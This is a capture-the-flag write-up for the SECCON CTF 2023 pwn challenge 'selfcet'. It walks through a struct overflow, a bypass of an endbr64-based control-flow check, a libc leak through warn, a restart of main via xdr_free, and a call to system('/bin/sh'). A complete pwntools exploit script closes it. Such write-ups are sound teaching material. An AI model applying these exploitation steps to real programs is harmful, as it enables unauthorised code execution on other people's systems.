# SECCON CTF 2023 - [pwn] selfcet
# Code Review
```c
#define KEY_SIZE 0x20
typedef struct {
char key[KEY_SIZE];
char buf[KEY_SIZE];
const char *error;
int status;
void (*throw)(int, const char*, ...);
} ctx_t;
int main() {
ctx_t ctx = { .error = NULL, .status = 0, .throw = err };
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
encrypt(&ctx);
write(STDOUT_FILENO, ctx.buf, KEY_SIZE);
return 0;
```
main instantiates a ctx_t variable and sets its `throw` member to `glibc` function err
and then calls 2 times read_member on it with different offsets and size 88 (sizeof(ctx))
```c
#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f) \
({ \
if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
__builtin_trap(); \
(f); \
})
...
void read_member(ctx_t *ctx, off_t offset, size_t size) {
if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
ctx->status = EXIT_FAILURE;
ctx->error = "I/O Error";
}
ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
if (ctx->status != 0)
CFI(ctx->throw)(ctx->status, ctx->error);
}
```
read_member calls read on a specific offset of the provided ctx with the given size (88)
then if `ctx->status` it not zero it passes `ctx->throw`, which is a function pointer, to
CFI and then calls it with `ctx->status: int` and `ctx->error: char*`
CFI fetches the first dword of where `ctx->throw` points to and compares it with `INSN_ENDBR64`.
If the first dword is not equal to `INSN_ENDBR64` it calls the GCC builtn function `__builtin_trap()`
which according to gcc docs:
> This function causes the program to exit abnormally. GCC implements this function by using a target-dependent mechanism (such as intentionally executing an illegal instruction) or by calling abort. The mechanism used may vary from release to release so you should not rely on any particular implementation.
in any other case it returns `f`.
In essence, the CFI macro checks if the address where `f` points to stores an `ENDBR64` instruction.
```c
void encrypt(ctx_t *ctx) {
for (size_t i = 0; i < KEY_SIZE; i++)
ctx->buf[i] ^= ctx->key[i];
}
```
encrypt just preforms a xor operation between `ctx->key` and `ctx->buf`
# The Bug
`main()` calls 2 times read_member on `ctx->buf` and `ctx->key` respectively.
Each time the third argument (size) is `sizeof(ctx)` which evaluates to 88
meaning that `read_member()` will call `read(0, ctx->buf/key, 88)` leading
to a buffer overflow allowing us to corrupt the `ctx` struct and, thus the
`throw` member.
# Exploitation
## Mitigations
```css=
[*] 'xor'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
```
PIE is not enabled meaning that we know where the binary is loaded in memory.
## Libc leak
We can use the overflow to point `throw` anywhere we want, but
we need to take into consideration
1) that it takes as arguments `(int status, char* error)`.
2) that `throw` is already populated with the libc function `err`.
3) that `throw` must point to the start of a libc function because of `CFI`
a great candidate is `void warn(const char *fmt);` because it resides at `-0x1c0` from err
> The warn() family of functions display a formatted error message on the standard error output. In all
cases, the last component of the program name, a colon character, and a space are output. **If the fmt argument is not NULL, the printf(3)-like formatted error message is output.** The output is terminated by a newline character.
so, by providing a `GOT` entry to warn as the first argument we can leak it.
to achieve that we need to preform a partial overwrite on throw using our buffer overflow.
```python=
io = start()
got_libc_start_main = 0x403fc8
s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0x4010))
ru(b"xor: ")
leak = u64(r(6).ljust(8, b"\x00"))
libc.address = leak - libc.sym.__libc_start_main
log.info(f"libc @ {hex(libc.address)}")
```
with that snippet we send to the first `read_member`: 64 A's filling the buf and key buffer then
(qword) 0 for `char* error`, the address of the GOT entry `__libc_start_main` for status as it will
be the first argument to `warn` and at the end 2 bytes to preform partial overwrite on `throw` member in order to point to `warn`.
(The partial overwrite is subject to ASLR meaning that it might not work each time.)
## system(/bin/sh)
Now that we have a libc leak we could try to use the 2nd `read_member` call
to overwrite `throw` with `system`, the problem here is that the first arg
to `throw` is `int` meaning that the larget value we can store in it is `0x7fffffff`
Thus, if we tried to call system(`/bin/sh`) the address of `/bin/sh` would get
truncated (as it resides in glibc).
## Writing /bin/sh to .bss
We could overcome this problem by writing /bin/sh to `.bss` because an `address` in .bss fits to an int.
But, there is only one call to `read_member` remaining meaning that even if we write
`/bin/sh` into .bss there isn't a way to call system with it afterwards.
What we had to do is find a way to restart the program by calling main again.
`main()` doesn't start with an `endbr64` instruction, so we need to find a gadget
, probably in `glibc`, to call it.
After some searching and some binja fu we found a libc function `xdr_free`

so we used that to call main again.
Now that we have another 2 `read_member` calls we can call gets(`address_in_bss`) to store
`/bin/sh` into `.bss` and system(`address_in_bss`)
## xpl.py
```python=
#!/bin/env python3
from pwn import *
elf = context.binary = ELF("./xor", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.arch = 'amd64'
context.terminal = ['tmux','splitw','-h']
io = None
gdbscript = '''
break *main+71
br *main+93
b *read_member+185
c
'''
convert = lambda x :x if type(x)==bytes else str(x).encode()
s = lambda data :io.send(convert(data))
sl = lambda data :io.sendline(convert(data))
sla = lambda delim,data :io.sendlineafter(convert(delim), convert(data), timeout=context.timeout)
ru = lambda delims, drop=True :io.recvuntil(delims, drop, timeout=context.timeout)
r = lambda n :io.recv(n)
rl = lambda :io.recvline()
HOST, PORT = 'selfcet.seccon.games', 9999
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gdbscript)
if args.REMOTE:
return remote(HOST, PORT)
else:
return process(elf.path)
io = start()
got_libc_start_main = 0x403fc8
s(b"A"*64 + p64(0) + p64(got_libc_start_main) + p16(0xd010))
ru(b"xor: ")
leak = u64(r(6).ljust(8, b"\x00"))
libc.address = leak - libc.sym.__libc_start_main
log.info(f"libc @ {hex(libc.address)}")
s(b"B"*0x28 + p64(elf.sym.main) + p64(libc.sym.xdr_free))
print("gets")
pause()
s(b"A"*0x48 + p64(elf.bss(0x100)) + p64(libc.sym.gets))
print("/bin/sh")
pause()
sl(b"/bin/sh\x00")
print("system")
pause()
s(b"B"*0x28 + p64(elf.bss(0x100)) + p64(libc.sym.system))
io.interactive()
```